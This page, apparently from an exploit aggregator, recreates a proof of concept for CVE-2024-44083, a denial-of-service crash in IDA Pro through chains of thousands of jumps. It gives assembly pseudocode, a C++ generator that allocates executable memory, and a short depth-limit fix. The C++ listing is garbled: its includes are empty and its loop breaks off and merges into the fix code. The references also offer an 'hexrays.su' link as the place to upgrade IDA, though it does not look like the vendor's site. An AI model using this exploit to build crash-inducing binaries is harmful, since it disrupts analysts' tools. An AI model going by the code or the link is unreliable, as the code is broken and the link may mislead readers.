## https://sploitus.com/exploit?id=D6D1F9BE-61C7-57A6-A6B7-774C88FC1FBA
# CVE-2024-44083
the original PoC repos got deleted (`github.com/Azvanzed/CVE-2024-44083`, `github.com/Azvanzed/IdaMeme`) so here it is. figured id recreate it for anyone who wants to understand how it works or test their setup.
IDA Pro โค 8.4 crashes when analyzing binaries with excessive jump chains.
## the bug
`ida64.dll` doesnt limit how deep it goes when following jump chains. so if you have a binary with thousands of linked jumps ending at the entry point and IDA just kills itself
| field | value |
|-------|-------|
| CVE | CVE-2024-44083 |
| affected | IDA Pro โค 8.4 |
| component | ida64.dll |
| CWE | CWE-770 (resource exhaustion) |
| impact | crash (DoS) |
## how it works
the idea is simple, make a section full of jumps that keep jumping to more jumps
```asm
; pseudocode obviously
section .text
; thousands of these
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... keep going ...
jump_9999:
jmp payload
payload:
call _start ; this creates the cross-reference that breaks things
_start:
; IDA tries to resolve all the jumps pointing here
; boom crash
ret
```
IDA tries to follow and track all these jumps building cross-references and with enough of them it just gives up and crashes
## doing it yourself (example)
if you wanted to make something like this in c++ youd do something like:
```cpp
#include
#include
// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
// allocate executable memory for our jump chain
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000 jumps ร 5 bytes + some extra
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// create 10,000 chained jumps
for (int i = 0; i MAX_JUMP_DEPTH) {
warn("jump chain too deep. fail.");
return; // dont crash just stop
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
```
literally just add a depth limit thats it.
## references
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-44083)
- [hexrays.su](https://hexrays.su/) <-- to ugprade your ida
## disclaimer
for educational purposes only dont be a dick